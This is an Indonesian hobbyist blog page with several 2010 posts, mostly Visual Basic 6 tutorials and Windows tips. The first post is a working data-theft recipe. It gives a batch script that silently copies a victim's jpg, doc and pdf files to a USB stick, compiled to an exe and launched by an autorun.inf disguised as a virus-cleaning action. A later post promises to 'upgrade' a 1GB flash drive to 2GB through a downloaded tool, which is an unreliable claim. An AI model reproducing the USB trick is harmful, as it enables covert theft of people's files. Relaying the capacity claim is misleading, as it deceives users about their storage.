Trik Hacking, Mencuri data hardisk

Sabtu, 06 November 2010

Pernahkah anda mengalami data-data penting pada komputer anda ada pada orang lain!!! padahal  anda tidak pernah memberikannya. Mungkin anda menjadi korban HACKING orang tersebut, Pertanyaannya bangaimana cara melakukannya.Sangat sederhana sekali anda hanya membutuhkan program notepad bawaan windows.

Penasaran' mow tau caranya! perhatikan step by stepnya di bawah:


1.  Buka notepad kesayangan anda kemudian ketikkan kode

     dibawah ini

     @echo off

     mkdir %computername%

     xcopy "D:\*.jpg" %computername% /s/c/q/r

     xcopy "D:\*.doc" %computername% /s/c/q/r

     xcopy "D:\*.pdf" %computername% /s/c/q/r

     @cls

     @exit


2.  kemudian seva file tersebut dengan save as type : All files,

     file name : rayenzone.bat

3.  Sebelum menjalankan rayenzone.bat compile dulu filenya

     menjadi executable dengan menggunakan Bat converter

     anda bisa download di SINI

4.  Setelah anda compile rayenzone.bat menjadi rayenzone.exe

     letakkan file tersebut ke directory pertama flashdisk anda.

5.  Kemudian buat file autorun.inf dengan cara buka notepad

     kemudian ketikkan kode di bawah ini

   

     [autorun]

     open=rayenzone.exe

     icon=rayenzone.ico

     action=bersih dari virus



6.  Simpan file tersebut dengan nama autorun.inf dan save as type

     All files,Letakkan di directory pertama flashdisk anda.selesai



     Catatan:

         Jika seseorang meminjam flashdisk anda dan membukanya

         maka secara otomatis file jpg,doc dan pdf akan tercopy

         secara diam -diam tanpa menampilkan proses copy dan

         jendela console. Anda bisa mengedit kode program di
         
         atas sesuai dengan type file yang ingin anda curi dengan 

         cara mengganti kode jpg,pdf atau doc dengan type file

         yang ingin dicuri.



     Tips buat calon korban agar terhindar dari aksi pencurian data

1.  Buka notepad kemudian ketikkan kode di bawah ini.

     Windows Registry Editor Version 5.00

     [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\

     Control\StorageDevicePolicies]
     "WriteProtect"=dword:00000001

2.  Simpan file tersebut dengan nama Writeprotect.reg dan save as

     type : All file.

3.  Double click file tersebut bila muncul peringatan klik yes

     kemudian restar komputer anda

4.  Tuliskan komentar,kritik atau saran anda di facebook coment

     dibawah postingan ini agar blog ini lebih baik kedepannya.

     

     Rayenzone(Nanang ryan) tidak bertanggung jawab atas

     segala sesuatu yang terjadi pada anda,rayenzone hanya

     ingin berbagi ilmu dan membuka wawasan anda di dunia

     IT






   

Baca selengkapnya >>

Berpindah ke textbox berikutnya dengan enter

Rabu, 03 November 2010

1. Buat sebuah project baru.
2. Buatlah dua textbox pada form
3. Kemudian double klik text1 lalu tuliskan kode programnya
    seperti di bawah ini.

    Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
      If KeyCode = 13 Then Text2.SetFocus
    End Sub

4. Coba anda jalankan programnya kemudian anda ketikkan text
    kedalam textbox lalu tekan enter, maka secara otomatis akan
    berpindah ke textbox berikutnya

        Segala kesalahan dan kekurangan mohon di koreksi
        maklum masih pemula, Semoga bisa sedikit membantu

Baca selengkapnya >>

Membuat Textbox hanya bisa diketik angka

Minggu lalu ada tugas VB dari dosen, Tugasnya membuat program operator.Saya sih udah buat' tapi programnya menjadi error dila textboxnya diketik huruf, Setelah saya mencari di buku referensi saya akhirnya nemu juga caranya.

1. Double klik textbox kemudian tulis kode programnya
    seperti di bawah

    Private Sub Text1_KeyPress(KeyAscii As Integer)
      If KeyAscii < 47 Or KeyAscii > 57 Then KeyAscii = 0
    End Sub

2. Tulis komentar facebook anda di bawah postingan ini

     Segala kesalahan dan kekurangan mohon di koreksi
     maklum masih pemula,Semoga bisa sedikit membantu

Baca selengkapnya >>

Penggunaan Operator VB 6.0

Jumat, 29 Oktober 2010

OPERATOR di dalam bahasa pemrograman bisa diartikan sebagai simbol yang digunakan untuk melakukan suatu operasi terhadap nilai data. Simbol operator bisa berupa karakter ataupun kata khusus.

Visual basic 6.0 mengenal tiga jenis operator yaitu:

1.   Operator Aritmatika digunakan untuk operasi matematis
      terhadap nilai data. Simbol-simbol yang digunakan
2.   Operator Perbandingan digunakan untuk operasi yang memban
      dingkan nilai data. Simbol-simbol yang digunakan 
3.   Operator Logika digunakan untuk operasi yang membandingkan
      suatu perbandingan. Simbolsimbol yang digunakan.

Membuat Program Operator

 Pengaturan properti:
Object                               Properties                                Value

Form1                                Caption                                     Prog Operator                                   
                                          StartUpPosition

Label1-2                            Caption                                      Var1
                                                                                            Var2


Text1-2                              Text                                           Kosong


Frame1-3                           Caption                                      Aritmatika
                                                                                            Perbandingan
                                                                                            Logika


Option1-13                        Captions                                    +, -, *, /
                                                                                            >, <, =, <>, >=, <=
                                                                                            Not, Or, And


Label3                               Alignment                                   2 – Center
                                         Caption                                      Kosong

Buka jendela kode, kemudian Ketikkan kode programnya sebagai berikut:

Dim var1 As Single, var2 As Single
Dim hasil As Single

Private Sub Option1_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 + var2
Label3.Caption = hasil
End Sub

Private Sub Option2_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 - var2
Label3.Caption = hasil
End Sub

Private Sub Option3_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 * var2
Label3.Caption = hasil
End Sub

Private Sub Option4_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 / var2
Label3.Caption = hasil
End Sub

Private Sub Option5_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 & var2
Label3.Caption = hasil
End Sub

Private Sub Option6_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 > var2)
‘Label3.Caption = hasil
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option7_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 < var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option8_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 = var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option9_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 <> var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option10_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 >= var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option11_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 <= var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option12_Click()
var1 = IIf(Text1.Text = "True", -1, 0)
hasil = Not (var1)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option13_Click()
var1 = IIf(Text1.Text = "True", -1, 0)
var2 = IIf(Text2.Text = "True", -1, 0)
hasil = (var1 Or var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option14_Click()
var1 = IIf(Text1.Text = "True", -1, 0)
var2 = IIf(Text2.Text = "True", -1, 0)
hasil = (var1 And var2)
Label3.Caption = Format(hasil, "True/False")
End Sub


Kemudian Save Form.

Tuliskan komentar anda di kotak komentar di bawah ini

Baca selengkapnya >>

Membuat Kalkulator mengunakan VB 6.0

Kamis, 28 Oktober 2010

Sebelumnya saya minta maaf kalau postingan ini Repost.OK langsung saja kita mulai tutorial VBnya.
Meskipun microsoft telah memasang software kalkulator pada semua OSnya 'tidak ada salahnya kita membuat kalkulator sendiri menggunakan VB untuk pembelajaran semata. Berhubung temen2 di kampus diberi tugas membuat program Kalkulator sederhana, mungkin tutorial ini bisa membantu anda.

Contoh hasilnya.

Untuk properties dari masing-masing objek, saya contohkan seperti dibawah ini, dengan letak
masing-masing objek disesuaikan dengan gambar diatas.
Textbox 1:
(Name) : txtDisplay
Alignment: 1-Right Justify
Text : (kosongkan)
Maxlength : 12

Command Button 1:
(Name) : cmdAngka
Index : 1
Caption : 1

Command Button 2:
(Name) : cmdAngka
Index : 2
Caption : 2

Command Button 3:
(Name) : cmdAngka
Index : 3
Caption : 3

Command Button 4:
(Name) : cmdAngka
Index : 4
Caption : 4

Command Button 5:
(Name) : cmdAngka
Index : 5
Caption : 5

Command Button 6:
(Name) : cmdAngka
Index : 6
Caption : 6

Command Button 7:
(Name) : cmdAngka
Index : 7
Caption : 7


Command Button 8:
(Name) : cmdAngka
Index : 8
Caption : 8

Command Button 9:
(Name) : cmdAngka
Index : 9
Caption : 9

Command Button 10:
(Name) : cmdAngka
Index : 0
Caption : 0

Command Button 11:
(Name) : cmdPlusMinus
Caption : +/-

Command Button 12:
(Name) : cmdKoma
Caption : .

Command Button 13:
(Name) : cmdOperator
Index : 1
Caption : +

Command Button 14:
(Name) : cmdOperator
Index : 2
Caption : -

Command Button 15:
(Name) : cmdOperator
Index : 3
Caption : x

Command Button 16:
(Name) : cmdOperator
Index : 4
Caption : /

Command Button 17:
(Name) : cmdClearEntry
Caption : CE

Command Button 18:
(Name) : cmdClear
Caption : C

Command Button 19:
(Name) : cmdSamaDengan
Caption : =

Berikutnya, Anda tinggal membuat coding dari kalkulator tersebut. Jika Anda mengikuti semua
setting properties seperti diatas, maka codingnya saya contohkan seperti ini:

Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean

' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub

' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub

' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub

' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub

' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub

' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub

' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub

' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub 


Sumber: electronika.com

Baca selengkapnya >>

Disable tombol Windows logo di keyboard

Kamis, 21 Oktober 2010

Tips buat para pemilik warnet yang ingin menonaktifkan tombol windows logo di keyboard dengan alasan keamanan dll. Anda dapat melakukannya dengan cara berikut:

1. Copy paste text dibawah ini kedalam notepad.
      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
      "Scancode Map"=hex:00,00,00,00,00,00,00,00,02,00,00,00,00,00,5B,E0,00,00,00,00

2. Simpan dengan nama DisableWinLogo.reg,  Save as type=All files.
3. Klik 2 kali file DisableWinLogo.reg yang telah anda buat,bila
     muncul peringatan klik yes.
4.  Restar komputer.
5.  Jangan lupa tulis komentar
   

Baca selengkapnya >>

Upgrade FD 1gb Menjadi 2gb

Bagi anda yang masih menggunakan Flashdisk 1gb dan tidak punya uang mengUpgradenya.
Anda wajib membaca artikel ini.

Download dulu softwarenya diSini
1. Masukkan FD anda di port usb.
2. Setelah download jalankan software tersebut.
3. Sorot FD anda kemudian Fix.
4. Cabut FD dan pasang kembali.
5. Besok berkunjung lagi di blog ini

Baca selengkapnya >>

Mengatasi serangan Netcut

Jaringan anda lemot,ngadat n lambat karna di hacking oleh seseorang dengan menggunakan Netcut,
Rayenzone punya punya solusinya!! dan tanpa menggunakan software anti netcut....Bikin repot aja lw pk software. Ketik aja perintah-perintah cmd di bawah ini.

1. Masuk menu Run ==>ketik cmd
2. abis itu ketik "ipconfig /flushdns" ==> untuk refresh jaringan
     tunggu sebentar..
3. trus ketik "ipconfig /release" tunggu bentar..
4. ketik "ipconfig /renew" ==> yg ini buat mengganti IP kita bro abis
     itu lancar deh jaringan kita.

        Buat orang yang merasa dirinya adalah Hacker!!! jangan sesekali menggunakan bantuan software pihak ke tiga untuk melakukan aktifitas Hacking, karna Hacker sejaji tidak pernah menggunakan bantuan software pihak ke tiga

Baca selengkapnya >>